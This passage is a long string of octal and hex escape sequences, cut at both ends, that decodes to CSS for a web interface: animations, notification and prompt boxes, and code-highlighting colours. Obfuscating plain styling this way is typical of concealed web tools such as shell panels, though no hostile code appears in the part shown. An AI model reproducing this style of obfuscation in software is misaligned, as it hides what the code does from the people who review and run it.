x20\154\151\156\x65\x61\162\40\x69\x6e\146\151\156\151\164\x65\73\x61\156\151\155\x61\x74\151\157\156\72\163\x70\151\156\x20\x36\60\60\x6d\x73\x20\154\x69\156\x65\x61\162\x20\x69\x6e\146\x69\156\x69\x74\145\x7d\x40\x2d\167\145\x62\153\x69\x74\x2d\x6b\x65\171\x66\x72\141\x6d\x65\x73\40\163\160\151\156\173\x30\45\173\x2d\x77\145\142\153\151\x74\55\164\x72\x61\x6e\x73\x66\x6f\x72\155\72\x72\x6f\164\x61\x74\145\50\60\x64\145\x67\x29\175\61\60\60\45\173\x2d\167\x65\x62\x6b\151\164\x2d\164\x72\x61\x6e\x73\146\157\x72\x6d\x3a\162\157\164\141\x74\145\x28\63\x36\x30\x64\145\x67\51\x7d\x7d\100\153\145\x79\x66\x72\x61\x6d\145\x73\40\163\160\151\156\x7b\x30\45\x7b\164\162\141\156\163\x66\157\x72\155\72\x72\x6f\x74\x61\164\145\50\60\144\145\147\51\x7d\x31\x30\x30\x25\x7b\x74\162\x61\156\163\146\157\x72\x6d\x3a\x72\157\164\x61\164\145\50\63\66\x30\x64\x65\x67\x29\x7d\175\43\x6a\165\144\x75\154\173\x74\145\170\164\55\164\162\141\x6e\163\x66\x6f\162\x6d\72\165\160\x70\x65\x72\x63\x61\163\x65\73\146\x6c\x6f\141\x74\x3a\x6c\x65\146\164\73\155\x61\x72\147\151\156\55\164\x6f\160\x3a\x38\x70\x78\73\x66\157\156\164\x2d\x77\145\151\x67\x68\x74\72\x37\60\x30\x3b\144\151\163\x70\154\x61\171\72\x6e\157\156\145\x7d\56\x61\164\141\163\173\142\x61\x63\x6b\x67\162\x6f\165\156\x64\72\146\x69\x78\145\x64\73\x62\x61\143\153\x67\x72\x6f\x75\156\x64\x2d\x73\151\172\x65\72\x63\157\166\x65\x72\73\164\145\170\164\x2d\141\x6c\151\x67\x6e\x3a\143\x65\x6e\x74\145\162\73\x70\x61\x64\144\151\156\x67\72\x30\73\142\141\143\x6b\x67\162\157\165\x6e\x64\x2d\x63\x6f\x6c\157\162\x3a\43\x32\x32\x32\x7d\x40\155\145\x64\x69\141\x20\163\143\162\145\145\x6e\x20\x61\x6e\144\x20\x28\x6d\x61\x78\55\x77\151\x64\x74\x68\x3a\x32\60\x32\64\160\x78\x29\x7b\x73\145\154\145\x63\164\x7b\160\141\144\144\151\156\x67\72\70\160\x78\175\x23\x70\x61\x72\164\x69\x63\x6c\x65\x73\x2d\x6a\163\x7b\x68\x65\x69\x67\150\x74\72\x33\x30\60\x70\x78\x7d\x7d\x40\x6d\x65\144\151\141\40\x73\143\x72\145\145\x6e\40\x61\x6e\x64\x20\50\x6d\x61\x78\55\167\151\144\x74\150\72\61\x30\62\x34\x70\x78\51\x7b\x73\145\x6c\x65\143\x74\x7b\x70\141\144\144\x69\156\x67\x3a\x38\x70\170\175\x23\x70\x61\162\x74\151\x63\x6c\x65\163\55\152\163\173\x68\x65\x69\x67\150\x74\72\x33\x30\60\x70\170\175\x7d\x40\x6d\145\x64\151\141\x20\163\x63\x72\145\145\156\40\x61\x6e\144\x20\x28\155\x61\x78\x2d\167\151\x64\164\x68\x3a\67\70\x30\160\x78\51\173\163\145\x6c\x65\x63\164\x7b\160\141\144\144\151\156\x67\72\71\x70\x78\175\x23\x70\141\x72\164\151\143\154\x65\163\55\152\x73\x7b\x68\145\x69\x67\150\x74\x3a\x32\60\x30\160\170\175\175\43\x70\141\x72\164\151\x63\x6c\x65\x73\x2d\x6a\163\173\155\141\170\x2d\x77\151\x64\164\x68\x3a\x38\x32\60\x70\170\175\151\x6e\160\x75\x74\133\x74\171\160\145\x3d\143\x68\x65\143\x6b\x62\x6f\170\x5d\173\144\151\163\x70\154\x61\x79\72\156\157\x6e\145\x7d\x2e\x69\143\157\156\173\x74\x65\x78\x74\55\x61\x6c\x69\x67\x6e\x3a\x63\145\x6e\x74\x65\162\73\144\x69\163\x70\154\141\x79\72\x69\x6e\154\x69\x6e\145\55\x62\154\x6f\143\153\x7d\x2e\x69\143\157\156\40\56\x7a\x6d\x64\x69\173\166\x69\x73\151\142\151\x6c\x69\x74\171\72\150\151\144\x64\x65\156\x7d\151\156\160\x75\x74\x5b\164\171\160\x65\75\x63\150\145\x63\x6b\x62\157\x78\x5d\x3a\x63\150\145\143\153\145\x64\x20\53\40\x2e\x69\x63\x6f\156\x20\56\x7a\x6d\x64\151\x7b\x70\157\163\151\x74\x69\157\156\x3a\162\x65\x6c\x61\164\x69\x76\x65\x3b\x74\x6f\160\x3a\61\160\170\x3b\x72\x69\147\x68\x74\x3a\x31\160\x78\73\166\151\x73\x69\142\x69\154\151\x74\171\x3a\x76\151\163\151\x62\x6c\145\175\x69\156\x70\165\164\133\164\x79\160\x65\75\x63\x68\x65\143\x6b\142\x6f\170\x5d\x7b\144\x69\163\160\154\x61\171\x3a\151\156\x6c\x69\x6e\145\134\71\x7d\56\x69\143\x6f\x6e\173\x64\151\x73\160\154\x61\171\x3a\x6e\x6f\156\x65\134\x39\x7d\x69\156\160\165\164\133\x74\x79\x70\x65\x3d\x63\x68\145\143\x6b\x62\x6f\x78\135\173\x6d\141\x72\x67\x69\x6e\72\60\x20\56\61\145\x6d\x7d\56\151\x63\157\156\173\x62\x61\x63\x6b\147\x72\157\165\x6e\x64\x3a\156\157\156\x65\x3b\142\157\162\144\145\x72\x3a\x31\x70\170\x20\163\157\154\x69\x64\40\x23\63\64\63\64\x33\x36\x3b\142\x6f\x72\x64\145\x72\x2d\x72\x61\x64\x69\x75\163\x3a\61\60\60\160\x78\x3b\x74\x65\170\164\x2d\x61\154\x69\x67\156\72\143\145\x6e\x74\145\x72\x3b\146\157\x6e\164\55\x73\x69\172\145\72\x31\65\x70\170\73\x6d\141\x72\x67\151\156\72\x32\160\170\x20\x61\165\x74\x6f\x20\x32\160\170\x20\x61\x75\x74\157\x3b\x68\x65\x69\x67\150\164\x3a\62\x30\160\x78\x3b\167\x69\x64\x74\x68\72\x32\x30\x70\170\73\x6c\x69\x6e\145\x2d\x68\145\x69\x67\x68\x74\x3a\x32\x30\x30\60\160\x78\175\56\155\157\166\x65\55\164\157\160\173\143\157\154\x6f\x72\72\x23\x66\146\x66\x3b\142\x6f\162\144\145\x72\x2d\x72\141\144\x69\165\163\72\63\x70\170\x3b\160\x6f\x73\151\x74\x69\157\x6e\72\146\151\x78\x65\144\73\142\157\164\x74\157\155\x3a\x31\60\x70\170\73\162\151\x67\150\164\72\x31\x30\x70\x78\x3b\164\145\170\x74\x2d\x64\x65\143\x6f\162\x61\164\151\x6f\156\x3a\x6e\157\156\145\x3b\x70\141\144\x64\x69\x6e\x67\x3a\61\x35\x70\170\x20\62\65\160\170\x20\x31\65\160\170\40\x32\x30\160\x78\x3b\144\x69\x73\x70\x6c\x61\171\x3a\156\x6f\x6e\x65\x3b\x62\141\x63\x6b\x67\x72\x6f\165\156\144\x3a\x72\x67\142\141\50\x30\54\60\x2c\60\54\56\64\51\175\56\141\156\x69\x6d\141\164\x65\x64\x7b\55\167\x65\x62\153\x69\164\55\x61\x6e\151\x6d\141\x74\x69\x6f\156\x2d\x64\x75\x72\141\164\151\157\156\72\x31\x73\73\x61\156\151\155\141\x74\151\157\x6e\55\144\x75\162\x61\x74\x69\157\156\72\x31\163\73\x2d\x77\x65\x62\x6b\x69\x74\55\141\x6e\x69\x6d\141\x74\151\157\156\x2d\x66\151\154\x6c\55\155\157\144\145\72\142\x6f\x74\x68\73\141\x6e\x69\155\141\x74\151\x6f\156\55\x66\151\154\x6c\55\155\157\x64\145\72\142\157\x74\x68\175\x2e\141\156\x69\155\x61\164\x65\144\x2e\151\x6e\x66\151\x6e\151\x74\x65\x7b\55\x77\x65\x62\x6b\151\164\55\x61\156\x69\155\x61\x74\x69\157\156\55\151\164\x65\162\141\164\x69\x6f\x6e\x2d\x63\x6f\x75\x6e\x74\x3a\151\156\146\x69\156\x69\x74\x65\x3b\141\x6e\x69\155\141\164\x69\x6f\156\55\151\164\x65\162\141\164\x69\x6f\x6e\x2d\143\x6f\165\x6e\x74\72\151\156\x66\151\x6e\151\x74\x65\175\x40\55\167\x65\142\153\151\x74\55\153\x65\x79\x66\x72\x61\155\145\x73\x20\146\154\x61\163\x68\x7b\146\x72\157\155\54\65\x30\45\54\x74\x6f\x7b\157\160\141\143\151\x74\x79\x3a\x31\175\62\65\45\x2c\67\65\x25\x7b\x6f\160\x61\143\x69\x74\x79\72\60\x7d\175\100\x6b\145\171\x66\162\x61\155\x65\163\40\x66\x6c\141\163\150\x7b\146\162\157\x6d\54\x35\60\45\54\164\x6f\173\157\x70\141\143\151\x74\171\72\61\175\x32\65\x25\x2c\x37\x35\x25\x7b\x6f\x70\x61\x63\151\x74\x79\72\x30\x7d\175\56\146\x6c\x61\x73\x68\x7b\x2d\167\x65\142\x6b\151\164\x2d\x61\x6e\x69\155\141\164\151\x6f\x6e\55\156\141\x6d\x65\x3a\x66\154\141\x73\150\73\x61\156\x69\155\x61\x74\151\157\x6e\55\156\141\x6d\x65\72\146\x6c\x61\x73\x68\175\x40\55\167\145\x62\x6b\151\x74\55\153\x65\x79\x66\x72\141\155\x65\x73\40\162\165\142\x62\x65\x72\102\x61\x6e\144\173\146\162\x6f\155\173\55\x77\145\x62\153\151\x74\55\x74\x72\x61\156\x73\x66\157\162\155\72\x73\x63\141\154\145\x33\x64\50\61\x2c\61\x2c\61\x29\x3b\164\162\141\156\x73\146\157\x72\155\72\163\143\x61\154\x65\x33\144\x28\61\x2c\61\x2c\x31\x29\175\63\x30\45\x7b\55\167\145\142\x6b\151\x74\55\x74\x72\x61\156\x73\x66\157\162\155\72\x73\143\x61\x6c\145\63\x64\x28\61\x2e\62\x35\54\x2e\x37\x35\x2c\61\x29\x3b\164\162\141\156\x73\x66\157\x72\155\x3a\163\143\141\x6c\x65\x33\x64\50\61\56\x32\65\x2c\56\x37\x35\x2c\x31\51\175\64\60\x25\173\55\x77\145\x62\x6b\x69\x74\55\164\162\x61\156\x73\146\x6f\x72\155\x3a\163\143\x61\x6c\x65\63\144\50\56\67\x35\54\x31\56\62\x35\54\x31\x29\x3b\x74\162\141\x6e\x73\x66\x6f\x72\155\72\x73\x63\x61\154\145\63\144\x28\56\67\65\54\x31\56\x32\x35\x2c\61\51\x7d\x35\60\45\x7b\x2d\167\145\x62\x6b\151\164\x2d\164\162\141\x6e\163\x66\x6f\162\155\72\163\143\141\x6c\145\x33\x64\x28\61\x2e\x31\x35\x2c\x2e\x38\65\54\x31\x29\73\x74\x72\141\x6e\x73\146\157\162\x6d\x3a\163\x63\x61\154\x65\x33\144\x28\61\x2e\61\65\54\x2e\x38\65\x2c\61\x29\x7d\66\x35\x25\x7b\55\167\145\142\x6b\x69\x74\x2d\164\x72\141\156\x73\146\157\162\155\x3a\x73\143\141\x6c\145\x33\144\50\x2e\71\65\x2c\x31\x2e\x30\x35\54\61\51\73\164\162\x61\x6e\x73\x66\x6f\x72\155\x3a\x73\143\x61\154\145\x33\144\50\56\x39\x35\x2c\61\56\60\x35\54\61\51\175\67\x35\x25\173\x2d\167\145\x62\x6b\151\x74\x2d\x74\x72\x61\x6e\163\146\x6f\162\155\x3a\x73\143\141\x6c\145\x33\x64\50\x31\56\x30\x35\54\x2e\71\65\x2c\x31\51\x3b\164\x72\x61\x6e\163\x66\x6f\x72\x6d\72\163\x63\x61\154\145\x33\x64\x28\61\56\60\65\x2c\x2e\x39\65\x2c\x31\x29\x7d\x74\x6f\173\55\x77\145\x62\153\x69\x74\x2d\x74\162\141\x6e\163\146\157\x72\x6d\x3a\x73\143\141\x6c\145\63\144\50\61\x2c\x31\54\x31\51\73\x74\x72\x61\156\163\146\x6f\x72\x6d\x3a\x73\143\141\x6c\145\x33\144\50\x31\x2c\x31\x2c\x31\x29\x7d\x7d\100\153\x65\x79\x66\x72\x61\155\145\x73\x20\x72\x75\x62\142\145\162\x42\141\156\x64\173\146\x72\x6f\155\x7b\55\x77\145\x62\153\151\164\55\x74\162\141\156\163\x66\157\x72\x6d\72\x73\x63\x61\x6c\145\x33\144\50\61\x2c\61\54\61\x29\73\164\x72\141\x6e\163\x66\x6f\x72\x6d\72\163\x63\141\154\x65\63\x64\x28\61\x2c\61\x2c\x31\x29\x7d\x33\x30\45\x7b\55\x77\x65\x62\x6b\151\164\x2d\164\x72\141\156\x73\146\x6f\x72\x6d\x3a\163\x63\x61\154\x65\63\144\x28\61\56\x32\x35\x2c\56\x37\x35\54\x31\x29\73\164\x72\x61\156\163\146\157\162\155\72\163\x63\x61\154\145\63\144\50\61\56\x32\65\x2c\56\x37\65\x2c\61\x29\x7d\x34\x30\x25\x7b\55\167\145\x62\x6b\x69\x74\55\164\162\141\156\163\146\x6f\x72\x6d\x3a\163\x63\141\154\145\63\x64\50\56\67\x35\x2c\61\56\x32\x35\54\61\51\73\x74\x72\x61\156\163\x66\x6f\x72\155\72\x73\x63\141\x6c\x65\63\x64\x28\x2e\67\x35\x2c\x31\x2e\x32\65\x2c\x31\x29\175\x35\x30\45\173\x2d\x77\145\142\153\151\x74\55\164\162\141\x6e\163\146\157\162\x6d\72\163\143\x61\154\145\63\144\x28\x31\x2e\x31\65\54\56\70\x35\54\x31\51\x3b\164\162\141\156\x73\146\157\162\x6d\72\x73\x63\x61\x6c\x65\x33\144\50\x31\56\61\x35\x2c\x2e\x38\65\x2c\x31\51\175\x36\65\x25\173\55\167\x65\x62\x6b\151\164\x2d\164\x72\141\x6e\163\146\x6f\x72\155\x3a\x73\143\x61\154\x65\63\x64\50\x2e\71\65\54\61\56\60\x35\x2c\61\51\73\164\x72\x61\x6e\x73\x66\157\x72\155\72\163\x63\x61\x6c\145\63\x64\50\56\x39\x35\x2c\61\x2e\x30\x35\54\61\51\175\67\65\45\x7b\x2d\x77\145\142\153\x69\164\x2d\x74\162\x61\x6e\163\x66\157\162\x6d\x3a\x73\143\x61\x6c\x65\x33\144\50\x31\56\60\65\x2c\56\71\65\x2c\x31\x29\x3b\164\x72\x61\156\x73\x66\x6f\162\x6d\x3a\163\143\x61\x6c\145\x33\144\50\61\x2e\x30\65\x2c\x2e\71\x35\x2c\61\51\x7d\x74\157\x7b\55\x77\145\x62\153\151\x74\x2d\x74\x72\x61\x6e\163\x66\157\162\155\72\x73\x63\141\x6c\x65\63\144\50\61\54\61\x2c\61\x29\73\x74\x72\x61\x6e\163\146\x6f\162\155\x3a\163\143\141\154\x65\x33\x64\x28\61\x2c\x31\54\x31\51\175\175\x2e\162\x75\x62\x62\145\162\x42\x61\x6e\144\x7b\x2d\167\x65\x62\153\151\x74\x2d\141\156\x69\155\x61\164\151\157\x6e\55\x6e\x61\x6d\x65\72\x72\x75\142\x62\x65\162\102\x61\156\144\x3b\141\156\x69\x6d\141\164\151\157\x6e\55\156\141\x6d\145\x3a\162\x75\x62\x62\145\162\x42\x61\x6e\144\175\x2e\x6d\145\156\x75\163\x7b\160\x61\x64\x64\151\x6e\x67\72\x38\160\x78\73\164\145\170\164\x2d\141\154\x69\x67\156\x3a\162\x69\x67\150\x74\x3b\142\x61\143\x6b\147\x72\x6f\165\x6e\144\x3a\x6e\157\x6e\145\x7d\56\x61\164\x61\x73\x2d\141\145\173\x70\157\163\x69\164\x69\x6f\156\x3a\146\151\170\x65\144\x3b\164\x6f\x70\x3a\x30\73\x72\151\x67\x68\164\72\x30\x3b\154\145\146\164\72\x30\73\172\55\x69\156\144\x65\x78\x3a\61\x30\x33\60\73\160\x61\144\144\151\x6e\x67\72\61\x30\x70\x78\x3b\155\141\162\x67\151\156\x3a\141\x75\164\157\73\155\x61\170\x2d\x77\x69\144\x74\x68\x3a\x38\x32\60\x70\x78\x7d\56\164\157\x70\x7b\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\63\160\170\x7d\x2e\x65\154\x69\x70\173\x6d\x61\x78\x2d\167\x69\144\164\x68\x3a\61\x30\x30\160\170\73\x6f\x76\145\162\146\x6c\157\167\x3a\150\x69\144\x64\145\156\x3b\x74\x65\170\x74\x2d\157\166\x65\x72\146\154\x6f\x77\72\x65\154\x6c\x69\x70\x73\x69\x73\73\x77\x68\x69\164\x65\x2d\163\160\141\143\145\x3a\156\157\x77\x72\x61\x70\x7d\56\x77\162\x61\160\173\x77\x6f\162\x64\x2d\x77\162\141\160\72\142\162\x65\x61\x6b\55\x77\157\162\x64\x7d\56\x62\162\x65\x61\x6b\x7b\167\x6f\162\x64\x2d\142\x72\x65\x61\153\x3a\142\162\145\x61\x6b\55\141\154\154\x3b\167\150\151\x74\x65\x2d\x73\x70\x61\143\x65\x3a\156\157\162\x6d\141\x6c\x7d\43\x75\151\137\156\x6f\x74\151\x66\111\x74\x7b\x70\157\x73\151\164\151\x6f\x6e\x3a\x66\151\170\145\144\x3b\164\x6f\x70\x3a\x31\60\x70\x78\x3b\x72\151\147\x68\x74\72\61\x30\x70\170\73\154\145\146\164\72\61\60\x70\x78\73\x63\165\x72\x73\x6f\x72\72\x6e\157\156\x65\x3b\157\166\145\x72\x66\154\157\x77\x3a\150\151\144\144\x65\156\x3b\x2d\167\145\142\x6b\x69\164\x2d\142\157\170\55\163\150\141\144\157\167\72\x30\40\63\x70\170\x20\x35\x70\170\40\162\x67\x62\141\x28\x30\x2c\x30\54\60\54\56\63\51\73\x2d\x6d\157\x7a\x2d\x62\157\x78\55\163\x68\x61\144\157\167\x3a\x30\x20\63\x70\170\40\x35\160\x78\40\x72\x67\142\141\x28\x30\x2c\60\54\60\x2c\x2e\x33\51\x3b\x2d\x6f\x2d\142\x6f\170\x2d\x73\x68\141\144\x6f\167\x3a\x30\x20\63\160\x78\x20\65\x70\x78\40\162\147\142\141\x28\x30\x2c\60\x2c\x30\54\56\63\x29\x3b\142\x6f\x78\x2d\163\x68\x61\144\x6f\x77\72\60\x20\63\x70\170\40\x35\x70\170\40\x72\x67\142\141\x28\60\x2c\x30\x2c\60\54\56\x33\51\x3b\x2d\x77\145\x6b\x62\151\x74\55\x62\x6f\162\144\x65\x72\55\162\141\144\151\165\163\72\x35\x70\170\73\x2d\x6d\x6f\x7a\x2d\x62\157\x72\144\x65\x72\55\162\141\144\151\x75\x73\72\65\160\170\x3b\x2d\157\55\x62\x6f\162\x64\x65\x72\x2d\x72\141\144\151\x75\163\x3a\x35\x70\x78\73\x62\157\162\x64\145\162\x2d\162\141\144\151\x75\163\x3a\65\160\x78\73\172\x2d\151\x6e\x64\x65\170\72\62\x30\x30\60\175\43\165\151\x5f\x6e\x6f\164\151\146\111\x74\x3a\x68\157\166\x65\162\x7b\157\x70\x61\x63\x69\x74\171\72\61\x21\x69\x6d\160\157\x72\164\141\156\x74\175\43\x75\x69\137\x6e\157\x74\x69\x66\111\x74\x20\160\173\x74\x65\x78\x74\x2d\141\154\151\x67\156\x3a\143\x65\x6e\164\x65\162\x3b\146\157\x6e\x74\55\x66\141\155\151\154\171\72\163\141\156\163\55\x73\145\x72\151\146\73\146\x6f\156\x74\x2d\163\x69\172\x65\72\x31\64\160\x78\73\x70\x61\144\144\x69\x6e\x67\x3a\x30\x3b\x6d\x61\162\x67\x69\156\72\60\x7d\x23\156\x6f\164\x69\146\111\164\x5f\143\x6c\x6f\163\145\173\160\157\x73\151\x74\151\157\156\72\141\x62\163\x6f\154\165\164\145\73\143\157\154\x6f\162\x3a\x23\106\x46\106\x3b\164\x6f\x70\72\x30\73\160\x61\144\x64\x69\156\147\x3a\60\x20\65\160\170\x3b\x72\x69\x67\150\164\72\x30\x7d\x23\x6e\x6f\x74\x69\x66\111\164\x5f\143\x6c\157\163\x65\72\x68\x6f\166\145\x72\173\x62\x61\143\x6b\147\162\157\x75\156\x64\x2d\x63\157\154\157\162\72\x72\147\x62\141\x28\62\x35\65\x2c\62\x35\x35\54\62\x35\x35\54\56\x33\x29\x7d\43\165\x69\x5f\156\157\x74\151\x66\111\x74\x2e\x64\x65\146\141\x75\154\x74\x7b\x62\141\x63\153\147\162\157\165\156\x64\x2d\143\x6f\x6c\x6f\x72\x3a\x23\61\104\x39\104\67\63\x3b\x62\157\162\144\145\x72\x3a\x30\x3b\55\x77\145\142\x6b\151\x74\x2d\142\x6f\x78\55\163\150\x61\x64\x6f\167\72\60\40\x31\160\170\40\64\x70\170\40\60\x20\x72\x67\x62\141\50\60\54\60\54\x30\54\x2e\x31\x34\51\73\x2d\x6d\157\x7a\55\x62\x6f\x78\55\x73\x68\x61\x64\x6f\x77\x3a\60\x20\x31\160\x78\x20\64\160\x78\40\60\40\162\x67\142\141\x28\60\x2c\60\54\60\54\56\61\64\51\73\55\x6d\163\x2d\x62\x6f\x78\x2d\x73\150\x61\144\157\167\x3a\x30\40\x31\160\170\40\x34\160\170\x20\x30\40\x72\x67\142\x61\50\60\x2c\x30\54\60\x2c\x2e\61\64\51\x3b\x2d\x6f\55\142\x6f\170\55\x73\150\141\x64\x6f\167\72\x30\x20\x31\160\x78\40\x34\x70\170\x20\60\x20\x72\147\142\141\50\60\54\x30\54\x30\54\x2e\x31\x34\51\x3b\142\157\170\x2d\x73\150\141\x64\x6f\167\72\60\x20\x31\x70\x78\40\x34\160\x78\x20\x30\x20\162\147\x62\x61\x28\x30\54\60\x2c\60\54\56\61\64\x29\x7d\x2e\x6e\x6f\164\x69\x66\x69\164\x5f\143\x6f\156\146\x69\x72\x6d\x5f\142\x67\x2c\56\156\157\164\151\146\x69\164\137\x70\162\x6f\x6d\x70\x74\137\142\147\173\x70\x6f\x73\151\x74\x69\x6f\156\72\x66\x69\170\145\x64\73\x74\x6f\x70\72\60\x3b\x6c\x65\146\x74\72\60\73\x68\x65\151\x67\x68\x74\x3a\61\x30\x30\45\x3b\167\151\144\164\x68\x3a\x31\60\x30\45\x3b\x62\x61\x63\x6b\x67\x72\157\165\156\144\x2d\x63\157\154\x6f\x72\x3a\x72\147\142\x61\50\x32\x35\65\54\62\x35\65\54\x32\65\65\x2c\x2e\61\x29\175\x2e\x6e\x6f\x74\151\x66\151\164\137\x63\x6f\156\x66\151\162\x6d\x20\52\x2c\56\x6e\x6f\164\151\x66\151\x74\137\x70\x72\x6f\x6d\x70\x74\x20\52\x7b\x66\x6f\156\x74\x2d\146\x61\155\x69\154\171\72\42\120\x6c\x61\x79\42\x7d\x2e\x6e\157\164\x69\x66\151\164\137\x63\x6f\x6e\x66\x69\x72\x6d\54\x2e\156\x6f\x74\x69\x66\x69\x74\x5f\x70\x72\157\155\160\x74\173\160\x6f\163\x69\164\151\157\x6e\x3a\x66\151\170\x65\144\73\164\x6f\160\72\x30\x3b\x6c\x65\x66\x74\72\x30\73\160\141\144\144\x69\156\x67\x3a\x33\60\x70\x78\40\63\x30\x70\x78\x20\60\40\x33\x30\x70\x78\73\142\141\x63\x6b\x67\x72\x6f\165\156\144\55\x63\x6f\x6c\x6f\162\72\x23\x31\104\71\x44\67\63\x3b\x62\157\162\x64\145\x72\x3a\61\x70\170\40\163\x6f\x6c\151\144\x20\x72\147\142\x61\x28\x30\x2c\60\54\60\54\56\x31\x29\x3b\x2d\167\x65\142\153\x69\164\55\x62\157\162\x64\x65\x72\55\162\141\x64\x69\165\x73\x3a\65\160\170\73\x2d\155\157\x7a\x2d\x62\157\x72\x64\x65\162\x2d\162\141\144\151\x75\163\x3a\65\x70\170\x3b\55\x6d\163\55\x62\157\162\x64\145\x72\55\162\x61\144\151\x75\x73\72\x35\x70\170\x3b\55\157\55\142\x6f\x72\x64\145\x72\55\162\x61\x64\151\165\163\72\65\x70\170\x3b\142\x6f\x72\x64\145\162\x2d\x72\x61\x64\151\x75\x73\x3a\65\x70\x78\x3b\55\167\145\x62\153\x69\164\x2d\142\x6f\170\55\x73\x68\x61\x64\157\x77\72\60\40\62\160\170\40\x31\x30\160\x78\40\x72\147\142\x61\x28\x30\54\60\54\60\x2c\56\x32\x29\73\x62\x6f\x78\55\x73\x68\141\x64\x6f\167\x3a\60\40\x32\x70\170\x20\x31\60\x70\170\40\162\x67\x62\141\50\x30\54\x30\x2c\60\54\x2e\62\x29\x7d\56\150\x6c\x6a\163\x7b\x64\x69\x73\x70\x6c\141\171\72\x62\x6c\x6f\x63\x6b\73\157\166\145\x72\146\x6c\157\x77\55\x78\x3a\141\165\164\157\x3b\146\157\x6e\x74\x2d\163\x69\x7a\x65\x3a\61\63\x70\170\x3b\x70\x61\144\x64\x69\156\147\x3a\x2e\65\145\x6d\x3b\x62\141\x63\x6b\x67\x72\157\x75\x6e\144\72\43\x32\62\62\x3b\x63\x6f\154\x6f\x72\72\43\145\66\x65\x31\144\143\175\56\x68\154\x6a\163\55\x63\157\x6d\155\145\x6e\164\x2c\x2e\150\154\x6a\163\55\x71\165\x6f\164\x65\173\143\157\x6c\157\x72\72\43\142\143\x39\x34\65\70\73\146\157\156\x74\55\x73\164\171\154\x65\x3a\x69\164\x61\x6c\151\x63\175\56\x68\x6c\152\163\x2d\153\x65\171\167\157\162\144\54\56\150\154\x6a\x73\55\163\x65\x6c\x65\143\x74\x6f\x72\x2d\164\141\x67\x7b\143\x6f\154\157\162\x3a\43\143\62\x36\x32\63\x30\175\56\150\154\x6a\x73\x2d\163\x74\x72\151\156\147\54\56\150\x6c\x6a\x73\55\156\x75\155\x62\x65\162\54\x2e\x68\x6c\152\x73\x2d\162\145\147\145\170\160\54\56\x68\154\152\x73\x2d\166\x61\162\151\141\x62\x6c\x65\54\x2e\x68\x6c\x6a\163\55\x74\145\x6d\x70\154\141\x74\145\x2d\166\141\x72\151\x61\x62\x6c\x65\x7b\143\157\x6c\x6f\x72\72\43\x31\104\71\104\67\x33\175\x2e\x68\x6c\152\163\55\163\165\142\163\164\x7b\x63\157\x6c\x6f\x72\72\43\65\61\71\146\x35\60\x7d\x2e\x68\x6c\x6a\163\x2d\x74\141\x67\54\56\150\154\x6a\x73\55\x6e\x61\155\145\173\143\x6f\x6c\157\x72\72\43\145\x38\142\146\x36\x61\x7d\x2e\x68\x6c\152\x73\55\x74\171\x70\145\173\143\x6f\154\x6f\162\x3a\43\144\141\x34\71\63\x39\175\x2e\x68\154\x6a\163\55\163\171\155\142\157\x6c\x2c\56\x68\x6c\152\x73\55\x62\165\x6c\154\145\164\x2c\56\x68\154\x6a\x73\55\142\x75\151\154\x74\137\x69\156\x2c\x2e\150\x6c\152\163\x2d\142\165\x69\154\x74\151\x6e\55\156\141\x6d\x65\54\x2e\x68\154\x6a\163\55\141\x74\x74\162\54\x2e\150\x6c\152\163\x2d\154\x69\x6e\x6b\x7b\x63\157\154\x6f\x72\72\43\66\x64\71\x63\x62\145\x7d\56\150\x6c\152\163\x2d\160\x61\162\x61\x6d\x73\173\143\157\154\x6f\x72\x3a\43\144\60\x64\x30\146\x66\175\56\x68\154\x6a\163\x2d\141\x74\164\x72\151\x62\x75\164\145\173\143\157\154\157\x72\x3a\x23\x63\x64\141\x38\66\x39\x7d\56\150\154\x6a\163\55\155\x65\x74\x61\x7b\143\x6f\154\x6f\162\72\43\x39\142\x38\65\x39\144\175\56\150\x6c\152\x73\x2d\164\x69\x74\x6c\145\54\x2e\x68\154\152\x73\x2d\x73\x65\143\164\151\x6f\156\173\x63\x6f\x6c\157\162\72\43\146\146\x63\x36\66\144\175\x2e\150\154\x6a\x73\55\x61\x64\144\151\164\x69\x6f\156\173\142\141\143\153\147\162\157\x75\x6e\x64\x2d\x63\157\154\x6f\162\72\43\61\64\64\x32\x31\x32\73\143\157\154\157\162\x3a\x23\x65\66\145\x31\x64\x63\73\x64\x69\x73\x70\x6c\x61\171\72\151\x6e\154\151\156\x65\x2d\x62\154\157\143\153\x3b\167\x69\x64\x74\150\x3a\x31\x30\60\x25\x7d\56\150\x6c\152\x73\x2d\144\x65\x6c\x65\164\x69\157\x6e\173\x62\141\x63\153\147\162\x6f\x75\156\x64\55\x63\x6f\154\x6f\x72\72\43\66\60\x30\73\143\x6f\x6c\157\x72\72\43\145\66\x65\x31\x64\x63\x3b\x64\151\163\x70\x6c\141\x79\x3a\151\156\x6c\151\x6e\145\55\x62\154\157\x63\153\x3b\167\x69\144\164\x68\x3a\61\x30\x30\45\175\x2e\x68\154\x6a\163\x2d\163\145\154\x65\x63\164\x6f\x72\55\143\154\141\163\163\x7b\x63\157\x6c\x6f\162\72\43\x39\142\x37\x30\63\146\x7d\x2e\150\154\x6a\163\x2d\x73\145\154\145\143\164\157\x72\x2d\x69\x64\x7b\143\157\154\157\162\x3a\x23\70\142\71\70\141\x62\175\x2e\150\x6c\152\163\x2d\145\155\x70\150\x61\163\151\163\x7b\x66\157\x6e\164\55\x73\x74\171\154\145\x3a\x69\x74\x61\x6c\x69\x63\175\x2e\x68\154\x6a\163\x2d\x73\x74\x72\x6f\156\x67\173\146\x6f\x6e\164\x2d\167\145\x69\147\150\x74\x3a\67\60\x30\x7d\x2e\x68\x6c\x6a\163\x2d\x6c\x69\156\x6b\173\164\145\x78\164\55\x64\145\143\x6f\x72\x61\x74\x69\157\x6e\x3a\165\x6e\144\145\162\x6c\x69\x6e\x65\175\72\72\x73\145\154\x65\x63\x74\151\157\156\173\142\x61\x63\x6b\x67\162\157\165\156\x64\55\143\x6f\154\x6f\x72\x3a\43\61\104\x39\x44\67\x33\73\143\x6f\x6c\157\162\72\x23\x66\x66\146\175\56\x6c\x69\x6e\145\144\x77\x72\x61\160\173\142\x6f\x72\x64\x65\162\72\61\x70\170\40\163\157\154\x69\144\x20\x23\63\64\63\64\63\66\x3b\x70\141\x64\x64\151\156\x67\72\63\x70\x78\x3b\x70\x61\144\x64\x69\x6e\x67\55\x72\151\147\150\164\72\x30\73\x6d\141\162\147\x69\x6e\55\164\x6f\160\72\x35\x70\170\175\x23\x70\x61\x6b\x73\x61\x7b\160\x61\x64\144\151\156\147\x3a\60\40\x32\x70\x78\40\x30\40\x32\x